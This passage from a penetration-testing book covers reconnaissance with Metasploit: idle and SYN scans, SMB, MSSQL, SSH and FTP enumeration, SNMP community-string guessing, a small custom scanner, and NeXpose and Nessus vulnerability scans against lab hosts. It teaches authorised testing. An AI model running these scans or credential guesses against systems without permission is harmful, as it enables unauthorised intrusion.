msf auxiliary(ipidseq) > nmap -PN -sI 192.168.1.109 192.168.1.155
[*] exec: nmap -PN -sI 192.168.1.109 192.168.1.155
Idle scan using zombie 192.168.1.109 (192.168.1.109:80); Class: Incremental
Interesting ports on 192.168.1.155:
Not shown: 996 closed|filtered ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
MAC Address: 00:0C:29:E4:59:7C (VMware)
Nmap done: 1 IP address (1 host up) scanned in 7.12 seconds
msf auxiliary(ipidseq) >
By using the idle host, we were able to discover a number of open ports
on our target system without sending a single packet to the system.

24 Chapter 3
Running Nmap from MSFconsole
Now that we’ve performed advanced enumeration on our target, let’s connect
nmap with Metasploit. To do this, we first connect to the msfbook database:
msf > db_connect postgres:toor@127.0.0.1/msf3
Now we should be able to enter the db_nmap command from within
msfconsole to run nmap and have its results automatically stored in our new
database.
NOTE We’ll be attacking only one system in this instance, but you can specify IPs by CIDR
notation and even ranges (for example, 192.168.1.1/24 or 192.168.1.1–254).
msf > db_nmap -sS -A 172.16.32.131
Warning: Traceroute does not support idle or connect scan, disabling...
Nmap scan report for 172.16.32.131
Host is up (0.00056s latency).
Not shown: 990 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
25/tcp open smtp Microsoft ESMTP 6.0.2600.2180
80/tcp open http Microsoft IIS webserver 5.1
|_html-title:
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn
443/tcp open https?
445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds
1025/tcp open msrpc Microsoft Windows RPC
1433/tcp open ms-sql-s Microsoft SQL Server 2005 9.00.1399; RTM
3389/tcp open microsoft-rdp Microsoft Terminal Service
MAC Address: 00:0C:29:EA:26:7C (VMware)
Device type: general purpose
Running: Microsoft Windows XP|2003
OS details: Microsoft Windows XP Professional SP2 or Windows Server 2003
Network Distance: 1 hop
Service Info: Host: ihazsecurity; OS: Windows
Host script results:
|_nbstat: NetBIOS name: IHAZSECURITY, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:ea:26:7c
| smb-os-discovery:
| OS: Windows XP (Windows 2000 LAN Manager)
| Name: WORKGROUP\IHAZSECURITY
|_smbv2-enabled: Server doesn't support SMBv2 protocol
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 33.51 seconds
Notice a series of open ports , software versions , and even a predic-
tion about the target’s operating system .

Intelligence Gathering 25
To check that the results from the scan are stored in the database, we
run db_services:
msf > db_services
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
172.16.32.131 135 tcp msrpc open Microsoft Windows RPC
172.16.32.131 139 tcp netbios-ssn open
172.16.32.131 445 tcp microsoft-ds open Microsoft Windows XP microsoft-ds
172.16.32.131 777 tcp unknown open
172.16.32.131 1433 tcp ms-sql-s open Microsoft SQL Server 2005 9.00.1399; RTM
We’re beginning to develop a picture of our target and exposed ports for
use as potential attack vectors.
Port Scanning with Metasploit
In addition to its ability to use third-party scanners, Metasploit has several
port scanners built into its auxiliary modules that directly integrate with most
aspects of the Framework. In later chapters, we’ll use these port scanners to
leverage compromised systems to access and attack; his process, often called
pivoting, allows us to use internally connected systems to route traffic to a net-
work that would otherwise be inaccessible.
For example, suppose you compromise a system behind a firewall that is
using Network Address Translation (NAT). The system behind the NAT-based
firewall uses private IP addresses, which you cannot contact directly from the
Internet. If you use Metasploit to compromise a system behind a NAT, you
might be able to use that compromised internal system to pass traffic (pivot)
to internally hosted and private IP-based systems to penetrate the network
farther behind the firewall.
To see the list of port scanning tools that the Framework offers, enter the
following:
msf > search portscan
Let’s conduct a simple scan of a single host using Metasploit’s SYN Port
Scanner. In the following listing, we start the scan with use scanner/portscan/
syn, set RHOSTS to 192.168.1.155, set THREADS to 50, and then run the scan.
msf > use scanner/portscan/syn
msf auxiliary(syn) > set RHOSTS 192.168.1.155
RHOSTS => 192.168.1.155
msf auxiliary(syn) > set THREADS 50
THREADS => 50

26 Chapter 3
msf auxiliary(syn) > run
[*] TCP OPEN 192.168.1.155:135
[*] TCP OPEN 192.168.1.155:139
[*] TCP OPEN 192.168.1.155:445
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(syn) >
From the results, you can see at that ports 135, 139, and 445 are open on
IP address 192.168.1.155, leveraging the portscan syn module within Metasploit.
Targeted Scanning
When you are conducting a penetration test, there is no shame in looking
for an easy win. A targeted scan looks for specific operating systems, services,
program versions, or configurations that are known to be exploitable and
that provide an easy door into a target network. For example, it is common
to scan a target network quickly for the vulnerability MS08-067, as this is
(still) an extremely common hole that will give you SYSTEM access much
more quickly than scanning an entire target network for vulnerabilities.
Server Message Block Scanning
Metasploit can scour a network and attempt to identify versions of Microsoft
Windows using its smb_version module.
NOTE If you are not familiar with Server Message Block (SMB, a common file-sharing protocol),
study up a bit on the different protocols and their purposes before you continue. You will
need to understand basic port information to learn how to attack a system successfully.
We run the module, list our options, set RHOSTS, and begin scanning:
msf > use scanner/smb/smb_version
msf auxiliary(smb_version) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
THREADS 1 yes The number of concurrent threads
msf auxiliary(smb_version) > set RHOSTS 192.168.1.155
RHOSTS => 192.168.1.155
msf auxiliary(smb_version) > run
[*] 192.168.1.155 is running Windows XP Service Pack 2 (language: English)
(name:DOOKIE-FA154354) (domain:WORKGROUP)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Intelligence Gathering 27
As you can see at the smb_version scanner has pinpointed the operating
system as Windows XP with Service Pack 2. Because we are scanning only one
system, we leave THREADS set to 1. If we had been scanning a number of systems,
such as a class C subnet range, we might consider upping the THREADS using the
set THREADS number option. The results of this scan are stored in the Metasploit
database for use at a later time and to be accessed with the db_hosts command.
msf auxiliary(smb_version) > db_hosts -c address,os_flavor
Hosts
=====
address os_flavor Svcs Vulns Workspace
------- --------- ---- ----- ---------
192.168.1.155 Windows XP 3 0 default
msf auxiliary(smb_version) >
We have discovered a system running Windows XP without having to do
a full scan of the network. This is a great way to target hosts quickly and quietly
that are likely to be more vulnerable when our goal is avoid being noticed.
Hunting for Poorly Configured Microsoft SQL Servers
Poorly configured Microsoft SQL Server (MS SQL) installations often provide
an initial way into a target network. In fact, many system administrators don’t
even realize that they have MS SQL servers installed on their workstations at
all, because the service is installed as a prerequisite for some common soft-
ware, such as Microsoft Visual Studio. These installations are often unused,
unpatched, or never even configured.
When MS SQL is installed, it listens by default either on TCP port 1433
or on a random dynamic TCP port. If MS SQL is listening on a dynamic port,
simply query UDP port 1434 to discover on what dynamic TCP port MS SQL
is listening. Of course, Metasploit has a module that can make use of this
“feature”: mssql_ping.
Because mssql_ping uses UDP, it can be quite slow to run across entire
subnets because of issues with timeouts. But on a local LAN, setting THREADS
to 255 will greatly speed up the scan. As Metasploit finds MS SQL servers, it
displays all the details it can extract from them including, perhaps most impor-
tantly, the TCP port on which the server is listening.
Here’s how you might run an mssql_ping scan, which includes starting the
scan, listing and setting options, and the results.
msf > use scanner/mssql/mssql_ping
msf auxiliary(mssql_ping) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no The password for the specified username
RHOSTS yes The target address range or CIDR identifier

28 Chapter 3
THREADS 1 yes The number of concurrent threads
USERNAME sa no The username to authenticate as
WORKSPACE no The name of the workspace to report data into
msf auxiliary(mssql_ping) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf auxiliary(mssql_ping) > set THREADS 255
THREADS => 255
msf auxiliary(mssql_ping) > run
[*] SQL Server information for 192.168.1.155:
[*] ServerName = V-XPSP2-BARE
[*] InstanceName = SQLEXPRESS
[*] IsClustered = No
[*] Version = 10.0.1600.22
[*] tcp = 1433
As you can see, not only does the scanner locate a MS SQL server at ,
but it also identifies the instance name at , the SQL server version at , and
the TCP port number at on which it is listening. Just think of how much
time this targeted scan for SQL servers would save over running nmap against
all ports on all machines in a target subnet in search of the elusive TCP port.
SSH Server Scanning
If during your scanning you encounter machines running Secure Shell (SSH),
you should determine which version is running on the target. SSH is a secure
protocol, but vulnerabilities in various implementations have been identified.
You never know when you might get lucky and come across an old machine
that hasn’t been updated. You can use the Framework’s ssh_version module to
determine the SSH version running on the target server.
msf > use scanner/ssh/ssh_version
msf auxiliary(ssh_version) > set THREADS 50
THREADS => 50
msf auxiliary(ssh_version) > run
[*] 192.168.1.1:22, SSH server version: SSH-2.0-dropbear_0.52
[*] Scanned 044 of 256 hosts (017% complete)
[*] 192.168.1.101:22, SSH server version: SSH-2.0-OpenSSH_5.1p1 Debian-3ubuntu1
[*] Scanned 100 of 256 hosts (039% complete)
[*] 192.168.1.153:22, SSH server version: SSH-2.0-OpenSSH_4.3p2 Debian-8ubuntu1
[*] 192.168.1.185:22, SSH server version: SSH-2.0-OpenSSH_4.3
This output tells us that a few different servers are running with various
patch levels. This information could prove useful if, for example, we wanted
to attack a specific version of OpenSSH as found with the ssh_version scan.

Intelligence Gathering 29
FTP Scanning
FTP is a complicated and insecure protocol. FTP servers are often the easiest
way into a target network, and you should always scan for, identify, and finger-
print any FTP servers running on your target.
Next, we scan our XP box for FTP services using the Framework’s
ftp_version module:
msf > use scanner/ftp/ftp_version
msf auxiliary(ftp_version) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
FTPPASS mozilla@example.com no The password for the specified username
FTPUSER anonymous no The username to authenticate as
RHOSTS yes The target address range or CIDR identifier
RPORT 21 yes The target port
THREADS 1 yes The number of concurrent threads
WORKSPACE no The name of the workspace to report data into
msf auxiliary(ftp_version) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf auxiliary(ftp_version) > set THREADS 255
THREADS => 255
msf auxiliary(ftp_version) > run
[*] 192.168.1.155:21 FTP Banner: Minftpd ready
The scanner successfully identifies an FTP server at . Now let’s see if
this FTP server allows anonymous logins using the Framework’s scanner/ftp/
anonymous.
msf > use auxiliary/scanner/ftp/anonymous
msf auxiliary(anonymous) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf auxiliary(anonymous) > set THREADS 50
THREADS => 50
msf auxiliary(anonymous) > run
[*] Scanned 045 of 256 hosts (017% complete)
[*] 192.168.1.155:21 Anonymous READ/WRITE (220 Minftpd ready)
The scanner reports at that anonymous access is allowed and that
anonymous users have both read and write access to the server; in other
words, we have full access to the remote system and the ability to upload or
download any file that can be accessed by the FTP server software.

30 Chapter 3
Simple Network Management Protocol Sweeping
The Simple Network Management Protocol (SNMP) is typically used in net-
work devices to report information such as bandwidth utilization, collision
rates, and other information. However, some operating systems also have
SNMP servers that can provide information such as CPU utilization, free
memory, and other system-specific details.
Convenience for the system administrator can be a gold mine for the
penetration tester, and accessible SNMP servers can offer considerable infor-
mation about a specific system or even make it possible to compromise a
remote device. If, for instance, you can get the read/write SNMP community
string for a Cisco router, you can download the router’s entire configuration,
modify it, and upload it back to the router.
The Metasploit Framework includes a built-in auxiliary module called
scanner/snmp/snmp_enum that is designed specifically for SNMP sweeps. Before
you start the scan, keep in mind that the read-only (RO) and read/write (RW)
community strings will play an important role in the type of information you
will be able to extract from a given device. On Windows-based devices con-
figured with SNMP, you can often use the RO or RW community strings to
extract patch levels, running services, usernames, uptime, routes, and other
information that can make things much easier for you during a pen test.
(Community strings are essentially passwords used to query a device for infor-
mation or to write configuration information to the device.)
After you guess the community strings, SNMP itself (depending on the
version) can allow anything from excessive information disclosure to full sys-
tem compromise. SNMPv1 and v2 are inherently flawed protocols. SNMPv3,
which incorporates encryption and better check mechanisms, is significantly
more secure. To gain access to a switch, you’ll first need to attempt to find its
community strings. The Framework’s use scanner/snmp/snmp_login module
will try a word list against one or a range of IP addresses.
msf > use use scanner/snmp/snmp_login
msf auxiliary(snmp_login) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf auxiliary(snmp_login) > set THREADS 50
THREADS => 50
msf auxiliary(snmp_login) > run
[*] >> progress (192.168.1.0-192.168.1.255) 0/30208...
[*] 192.168.1.2 'public' 'GSM7224 L2 Managed Gigabit Switch'
[*] 192.168.1.2 'private' 'GSM7224 L2 Managed Gigabit Switch'
[*] Auxiliary module execution completed
msf auxiliary(snmp_login) >
A quick Google search for GSM7224 from the output tells us that the
scanner has found both the public and private community strings for a
Netgear switch. This result, believe it or not, has not been staged for this book.
These are the default factory settings for this switch.

Intelligence Gathering 31
You will encounter many jaw-dropping situations like these throughout
your pen testing career, because many administrators simply attach devices to a
network with all their defaults still in place. The situation is even scarier when
you find these devices accessible from the Internet within a large corporation.
Writing a Custom Scanner
Many applications and services lack custom modules in Metasploit. Thank-
fully, the Framework has many features that can be useful when you’re build-
ing a custom scanner, including offering access to all of its exploit classes
and methods, and support for proxies, Secure Sockets Layer (SSL), report-
ing, and threading. It can be very useful to write your own scanner during
security assessments, because doing so will allow you to locate every instance
of a bad password or unpatched service quickly on a target system.
The Metasploit Framework scanner modules include various mixins, such as
exploit mixins for TCP, SMB, and so on, and the auxiliary scanner mixin that
is built into the Framework. Mixins are portions of code with predefined
functions and calls that are preconfigured for you. The Auxiliary::Scanner
mixin overloads the Auxiliary run method; calls the module method at runt-
ime with run_host(ip), run_range(range), or run_batch(batch); and then pro-
cesses the IP addresses. We can leverage Auxiliary::Scanner to call additional,
built-in Metasploit functionality.
Following is a Ruby script for a simple TCP scanner that will connect to a
remote host on a default port of 12345 and upon connecting, send “HELLO
SERVER,” receive the server response, and print it out along with the server’s
IP address.
#Metasploit
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'My custom TCP scan',
'Version' => '$Revision: 1 $',
'Description' => 'My quick scanner',
'Author' => 'Your name here',
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(12345)
], self.class)
end

32 Chapter 3
def run_host(ip)
connect()
sock.puts('HELLO SERVER')
data = sock.recv(1024)
print_status("Received: #{data} from #{ip}")
disconnect()
end
end
This simple scanner uses the Msf::Exploit::Remote::Tcp mixin to handle
the TCP networking, and the Msf::Auxiliary::Scanner mixin exposes the vari-
ous settings that are required for scanners within the Framework . This
scanner is configured to use the default port of 12345 , and upon connect-
ing to the server, it sends a message , receives the reply from the server, and
then prints it out to the screen along with the server IP address .
We have saved this custom script under modules/auxiliary/scanner/ as
simple_tcp.rb. The saved location is important in Metasploit. For example, if
the module is saved under modules/auxiliary/scanner/http/, it would show up
in the modules list as scanner/http/simple_tcp.
To test this rudimentary scanner, we set up a netcat listener on port 12345
and pipe in a text file to act as the server response.
root@bt:/# echo "Hello Metasploit" > banner.txt
root@bt:/# nc -lvnp 12345 < banner.txt
listening on [any] 12345...
Next, we load up msfconsole, select our scanner module, set its param-
eters, and run it to see if it works.
msf > use auxiliary/scanner/simple_tcp
msf auxiliary(simple_tcp) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
RPORT 12345 yes The target port
THREADS 1 yes The number of concurrent threads
msf auxiliary(simple_tcp) > set RHOSTS 192.168.1.101
RHOSTS => 192.168.1.101
msf auxiliary(simple_tcp) > run
[*] Received: Hello Metasploit from 192.168.1.101
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(simple_tcp) >
Intelligence Gathering 33
Although this is only a simple example, the level of versatility afforded by
the Metasploit Framework can be of great assistance when you need to get
some custom code up and running quickly in the middle of a pen test. Hope-
fully, this simple example demonstrates the power of the Framework and
modular code. But, of course, you don’t have to do everything by hand.
Looking Ahead
In this chapter, you learned how to leverage the Metasploit Framework
for intelligence gathering, as outlined in the PTES. Intelligence gathering
takes practice and requires a deep understanding of how an organization
operates and how to identify the best potential attack vectors. As with any-
thing, you should adapt and improve your own methodologies throughout
your penetration-testing career. Just remember that your main focus for this
phase is to learn about the organization you’re attacking and its overall foot-
print. Regardless of whether your work occurs over the Internet, on an inter-
nal network, wirelessly, or via social engineering, the goals of intelligence
gathering will always be the same.
In the next chapter, we’ll move on to another important step during the
vulnerability analysis phase: automated vulnerability scanning. In later chap-
ters, we will explore more in-depth examples of how to create your own mod-
ules, exploits, and Meterpreter scripts.

VULNERABILITY SCANNING
A vulnerability scanner is an automated program
designed to look for weaknesses in computers, com-
puter systems, networks, and applications. The pro-
gram probes a system by sending data to it over a
network and analyzing the responses received, in an
effort to enumerate any vulnerabilities present on the
target by using its vulnerability database as reference.
Various operating systems tend to respond differently when sent particular
network probes because of the different networking implementations in use.
These unique responses serve as a fingerprint that the vulnerability scanner
uses to determine the operating system version and even its patch level. A
vulnerability scanner can also use a given set of user credentials to log into
the remote system and enumerate the software and services to determine
whether they are patched. With the results it obtains, the scanner presents a
report outlining any vulnerabilities detected on the system. That report can
be useful for both network administrators and penetration testers.

36 Chapter 4
Vulnerability scanners generally create a lot of traffic on a network and
are therefore not typically used in a penetration test when one of the objec-
tives is to remain undetected. If, however, you are running a penetration test
and stealth is not an issue, a vulnerability scanner can save you from having
to probe systems manually to determine their patch levels and vulnerabilities.
Whether you use an automated scanner or do it manually, scanning is
one of the most important steps in the penetration testing process; if done
thoroughly, it will provide the best value to your client. In this chapter, we
will discuss a number of vulnerability scanners and how they can be integrated
within Metasploit. We’ll highlight some auxiliary modules in the Metasploit
Framework that can locate specific vulnerabilities in remote systems.
The Basic Vulnerability Scan
Let’s look at how a scan works at the most basic level. In the following listing,
we use netcat to grab a banner from the target 192.168.1.203. Banner grabbing
is the act of connecting to a remote network service and reading the service
identification (banner) that is returned. Many network services such as web,
file transfer, and mail servers return their banner either immediately upon
connecting to them or in response to a specific command. Here we connect
to a web server on TCP port 80 and issue a GET HTTP request that allows us to
look at the header information that the remote server returns in response to
our request.
root@bt:/opt/framework3/msf3# nc 192.168.1.203 80
GET HTTP 1/1
HTTP/1.1 400 Bad Request
Server: Microsoft-IIS/5.1
The information returned at tells us that the system running on port 80
is a Microsoft IIS 5.1–based web server. Armed with this information, we could
use a vulnerability scanner, as shown in Figure 4-1, to determine whether this
version of IIS has any vulnerabilities associated with it and whether this par-
ticular server has been patched.
Of course, in practice, it’s not that simple. Vulnerability scans often con-
tain many false positives (reported vulnerability where none exists) and false
negatives (failure to log a vulnerability where one exists) due to subtle differ-
ences in system and application configurations. In addition, the creators of vul-
nerability scanners have an incentive to report positives: The more “hits” a
vulnerability scanner finds, the better it looks to a potential buyer. Vulnera-
bility scanners are only as good as their vulnerabilities database, and they can
easily be fooled by misleading banners or inconsistent configurations.
Let’s take a look at some of the more useful vulnerability scanners,
including NeXpose, Nessus, and some specialized scanners.

Vulnerability Scanning 37
Figure 4-1: Vulnerability scan results against the target web server
Scanning with NeXpose
NeXpose is Rapid7’s vulnerability scanner that scans networks to identify
the devices running on them and performs checks to identify security weak-
nesses in operating systems and applications. It then analyzes the scan data
and processes it for inclusion in various reports.
Rapid7 offers multiple versions of NeXpose, but we’ll use the Community
edition because it’s free. If you plan to use NeXpose commercially, see the
Rapid7 site (http://www.rapid7.com/vulnerability-scanner.jsp) for information
on the various versions and their capabilities and pricing.
Our target for scanning will be a default installation of Windows XP SP2
as configured in Appendix A. We will first perform a basic overt scan of our
target and import the vulnerability scan results into Metasploit. We will close
out this section by showing you how to run a NeXpose vulnerability scan
directly from msfconsole rather than using the web-based GUI, eliminating the
need to import a scan report.
Configuration
After installing NeXpose Community, open a web browser and navigate to
https://<youripaddress>:3780. Accept the NeXpose self-signed certificate, and
log in using the credentials you created during setup. You should next be
presented with an interface similar to the one shown in Figure 4-2. (You’ll
find complete installation instructions for NeXpose at the Rapid7 website.)
On the NeXpose main page, you will notice a number of tabs at the top
of the interface:
zThe Assets tab displays details of computers and other devices on your
network after they have been scanned.
zThe Reports tab lists vulnerability scan reports after they have been
generated.
zThe Vulnerabilities tab gives you details on any vulnerabilities discov-
ered during your scans.
zThe Administration tab allows you to configure various options.

38 Chapter 4
Figure 4-2: The NeXpose’s initial home screen
Buttons in the main body of the page let you perform common tasks
such as creating a new site or setting up a new vulnerability scan.
The New Site Wizard
Prior to running a vulnerability scan with NeXpose, you need to configure a
site—a logical collection of devices such as a specific subnet, a collection of
servers, or even a single workstation. These sites will then be scanned by
NeXpose, and different scan types can be defined for a particular site.
1. To create a site, click the New Site button on the NeXpose home page,
enter a name for your site and a brief description, and then click Next.
2. In the devices step, shown in Figure 4-3, you have quite a bit of granular-
ity in defining your targets. You can add a single IP address, address ranges,
hostnames, and more. You can also declare devices, such as printers, to
exclude from scans. (Printers frequently don’t take kindly to being scanned.
We have seen instances in which a simple vulnerability scan caused more
than one million pages of pure black to be placed in the queue to print!)
Click Next when you have finished adding and excluding devices.
3. At the scan setup step, you can choose from several different scan tem-
plates, such as Discovery Scan and Penetration test; select the scanning
engine you want to use; or set up an automated scanning schedule. For
purposes of this initial walk-through, keep the default selections and
click Next to continue.
4. Add credentials for the site you want to scan, if you have them. Credentials
can help create more accurate and complete results by performing in-
depth enumeration of installed software and system policies on the target.
5. On the Credentials tab, click the New Login button, type a username
and password for the IP address you want to scan, and then click Test
Login to verify your credentials then save them.

Vulnerability Scanning 39
Figure 4-3: Adding a device to the new NeXpose site
6. Last, click Save to complete the New Site wizard and return to the Home
tab, which should list your newly added site, as shown in Figure 4-4.
Figure 4-4: The Home tab shows the newly configured site.
The New Manual Scan Wizard
With your new site configured, you are now set to configure your first scan:
1. Click the New Manual Scan button shown in Figure 4-4. You should see
the Start New Scan dialog shown in Figure 4-5, which prompts you for the
assets you want to scan or exclude. In this example, we are scanning our
default Windows XP system.
2. Double-check your target IP address to be sure that you’re not about to
scan the wrong device or network inadvertently, and click the Start Now
button to begin.

40 Chapter 4
Figure 4-5: The NeXpose scan configuration dialog
3. NeXpose should dynamically refresh the page as the scan progresses.
Wait until the status for both Scan Progress and Discovered Assets shows
Completed, as shown in Figure 4-6. Under the Scan Progress section, you
can see that our single scanned device has 268 vulnerabilities detected,
and under Discovered Assets, you are provided with more information
about the target such as the device name and its operating system. Now
click the Reports tab.
Figure 4-6: The completed NeXpose scan and report

Vulnerability Scanning 41
The New Report Wizard
If this is your first time running NeXpose and you have completed only one
scan, the Reports tab should show that you have generated no reports.
1. Click New Report, as shown in Figure 4-7, to start the New Report wizard.
Figure 4-7: The NeXpose Reports tab
2. Enter a friendly name, and then in the Report format field, select NeXpose
Simple XML Export, as shown in Figure 4-8, so that you will be able to
import the scan results into Metasploit. You can select from different report
templates and configure the time zone if you happen to be conducting
your pen test on the road. Click Next when you are ready to proceed.
Figure 4-8: Selecting a name and format for the report
3. In the subsequent window, add the devices you want to be included in
the report by clicking Select Sites to add your scanned target range, as
shown in Figure 4-9. Then click Save.
Figure 4-9: Selecting the site for inclusion in the report

42 Chapter 4
4. In the Select Devices dialog, select the targets to include in your report
and then click Save.
5. Back in the Report Configuration wizard, click Save to accept the remaining
defaults for the report. The Reports tab should now list the newly created
report, as shown in Figure 4-10. (Be sure to save the report file so that
you can use it with the Framework.)
Figure 4-10: The Reports tab lists your reports.
Importing Your Report into the Metasploit Framework
Having completed a full vulnerability scan with NeXpose, you need to import
the results into Metasploit. But before you do, you must create a new database
from msfconsole by issuing db_connect. After creating that database you’ll import
the NeXpose XML using the db_import command. Metasploit will automati-
cally detect that the file is from NeXpose and import the scanned host. You
can then verify that the import was successful by running the db_hosts command.
(These steps are shown in the following listing.) As you can see at , Metasploit
knows about the 268 vulnerabilities that your scan picked up.
msf > db_connect postgres:toor@127.0.0.1/msf3
msf > db_import /tmp/host_195.xml
[*] Importing 'NeXpose Simple XML' data
[*] Importing host 192.168.1.195
[*] Successfully imported /tmp/host_195.xml
msf > db_hosts -c address,svcs,vulns
Hosts
=====
address Svcs Vulns Workspace
------- ---- ----- ---------
192.168.1.195 8 268 default
To display the full details of the vulnerabilities imported into Metasploit,
including Common Vulnerabilities and Exposures (CVE) numbers and other
references, run the following:
msf > db_vulns
As you can see, running an overt vulnerability scan with full credentials
can provide an amazing amount of information—268 vulnerabilities found

Vulnerability Scanning 43
in this case. But, of course, this has been a very noisy scan, likely to attract lots
of attention. These types of vulnerability scans are best used in a pen test
where being stealthy is not required.
Running NeXpose Within MSFconsole
Running NeXpose from the web GUI is great for fine-tuning vulnerability
scans and generating reports, but if you prefer to remain in msfconsole, you
can still run full vulnerability scans with the NeXpose plug-in included in
Metasploit.
To demonstrate the difference in results between a credentialed and non-
credentialed scan, we will run a scan from with Metasploit without specifying
a username and password for the target system. Before you begin, delete any
existing database with db_destroy, create a new database in Metasploit with
db_connect, and then load the NeXpose plug-in with load nexpose as shown next:
msf > db_destroy postgres:toor@127.0.0.1/msf3
[*] Warning: You will need to enter the password at the prompts below
Password:
msf > db_connect postgres:toor@127.0.0.1/msf3
msf > load nexpose
[*] NeXpose integration has been activated
[*] Successfully loaded plugin: nexpose
With the NeXpose plug-in loaded, have a look at the commands loaded
specifically for the vulnerability scanner by entering the help command. You
should see a series of new commands at the top of the listing specific to run-
ning NeXpose.
msf > help
Before running your first scan from msfconsole, you will need to connect
to your NeXpose installation. Enter nexpose_connect -h to display the usage
required to connect; add your username, password, and host address; and
accept the SSL certificate warning by adding ok to the end of the connect
string:
msf > nexpose_connect -h
[*] Usage:
[*] nexpose_connect username:password@host[:port] <ssl-confirm>
[*] -OR-
[*] nexpose_connect username password host port <ssl-confirm>
msf > nexpose_connect dookie:s3cr3t@192.168.1.206 ok
[*] Connecting to NeXpose instance at 192.168.1.206:3780 with username dookie...
Now enter nexpose_scan followed by the target IP address to initiate a scan, as
shown next. In this example, we are scanning a single IP address, but you

44 Chapter 4
could also pass a range of hosts to the scanner (192.168.1.1-254) or a subnet
in Classless Inter-Domain Routing (CIDR) notation (192.168.1.0/24).
msf > nexpose_scan 192.168.1.195
[*] Scanning 1 addresses with template pentest-audit in sets of 32
[*] Completed the scan of 1 addresses
msf >
After the NeXpose scan completes, the database you created earlier
should contain the results of the vulnerability scan. To view the results, enter
db_hosts, as shown next. (In this example, the output has been trimmed by filter-
ing on the address column.)
msf > db_hosts -c address
Hosts
=====
address Svcs Vulns Workspace
------- ---- ----- ---------
192.168.1.195 8 7 default
msf >
As you can see, NeXpose has discovered seven vulnerabilities. Run db_vulns
to display the vulnerabilities found:
msf > db_vulns
Although this scan has found significantly fewer than the 268 vulnerabilities
discovered with our prior use of NeXpose through the GUI with credentials,
you should have enough vulnerabilities here to get a great head start on
exploiting the system.
Scanning with Nessus
The Nessus vulnerability scanner from Tenable Security (http://www.tenable
.com/) is one of the most widely used vulnerability scanners. Metasploit’s
Nessus plug-in lets you launch scans and pull information from Nessus scans
via the console, but in the example that follows, we’ll import Nessus scan
results independently. Using Nessus 4.4.1 with a free Home Feed, we’ll run
this scan against the same target we’ll use throughout this chapter, with
known credentials. In these early stages of a penetration test, the more
tools you can use to fine-tune your future attacks, the better.
Nessus Configuration
After you have downloaded and installed Nessus, open your web browser and
navigate to https://<youripaddress>:8834, accept the certificate warning, and
log into Nessus using the credentials you created during installation. You
should see the main Nessus window, as shown in Figure 4-11.

Vulnerability Scanning 45
Figure 4-11: The main Nessus window
On login, you will see the Reports section, where any prior vulnerability
scans should be listed. Along the top of the interface, you should see the Scans
tab, where you can create and view scanning tasks; the Policies tab, where you
configure Nessus to include various plug-ins you want to use in your scans;
and the Users tab, where you can add user accounts to the Nessus server.
Creating a Nessus Scan Policy
Before beginning a scan, you first need to create a Nessus scan policy. On the
Policies tab, click the green Add button to open the policy configuration win-
dow shown in Figure 4-12.
Figure 4-12: The Nessus Policies configuration window

46 Chapter 4
You’ll see many available options, all of which can be found in Nessus’s
documentation.
1. Enter a name for the scan, as shown in Figure 4-13. We will use the name
The_Works in our example to have Nessus run all of its checks. Then
click Next.
2. As with the NeXpose scan conducted earlier, we will configure this scan
to use Windows login credentials to get a more complete picture of the
vulnerabilities present on the target system. Enter the login credentials
for your target system and click Next.
Figure 4-13: The Nessus General settings
3. On the Plugins page, you can choose from a large variety of Nessus plug-
ins for Windows, Linux, BSD, and more. If, during a scan, you know you
are going to scan only Windows-based systems, for example, you could
deselect many of these plug-ins for your first run-through; for now, click
Enable All (shown in the lower-right corner of Figure 4-14) and then
click Next.
Figure 4-14: Selecting Nessus scan plug-ins

Vulnerability Scanning 47
4. The final step in setting up the new policy is the Preferences page. Here,
you can direct Nessus not to scan fragile devices such as network printers,
configure it to store results in an external database, provide login creden-
tials, and more. When you are done with your selections, click Submit to
save the new policy. Your newly added policy should be displayed under
Policies, as shown in Figure 4-15.
Figure 4-15: The newly added policy in Nessus
Running a Nessus Scan
After you have created a scan policy, you are ready to configure a scan. Begin
by selecting the Scans tab, and then click the Add button to open the scan
configuration window. Most Nessus configuration is set in its scan policies, so
when you’re setting up a scan, enter a name for the scan, choose a policy, and
enter the scan targets, as shown in Figure 4-16.
Figure 4-16: Configuring a Nessus scan
In our example, we are scanning only one host, but you can also enter IP
address ranges in CIDR notation or even upload a file containing the addresses
of the targets you want to scan. When you are satisfied with the scan configu-
ration, click Launch Scan.
Nessus Reports
After the scan is complete, it will no longer appear under Scans, and you
should find a new entry under the Reports tab listing the name of the scan,
its status, and when it was last updated. Select the report and click Browse to

48 Chapter 4
open a summary page of the scan that shows the severity levels of the vulner-
abilities found, as shown in Figure 4-17.
Figure 4-17: Our Nessus scan report summary
NOTE Bear in mind that because this scan was run with Windows credentials, Nessus will
find many more vulnerabilities than it would with an anonymous scan.
Importing Results into the Metasploit Framework
Now let’s import our results into the Framework.
1. Click the Download Report button on the Reports tab to save the results
to your hard drive. The default file format for Nessus reports, .nessus, can
be parsed by Metasploit, so click Submit when prompted to select the
default format.
2. Load msfconsole, create a new database with db_connect, and import the
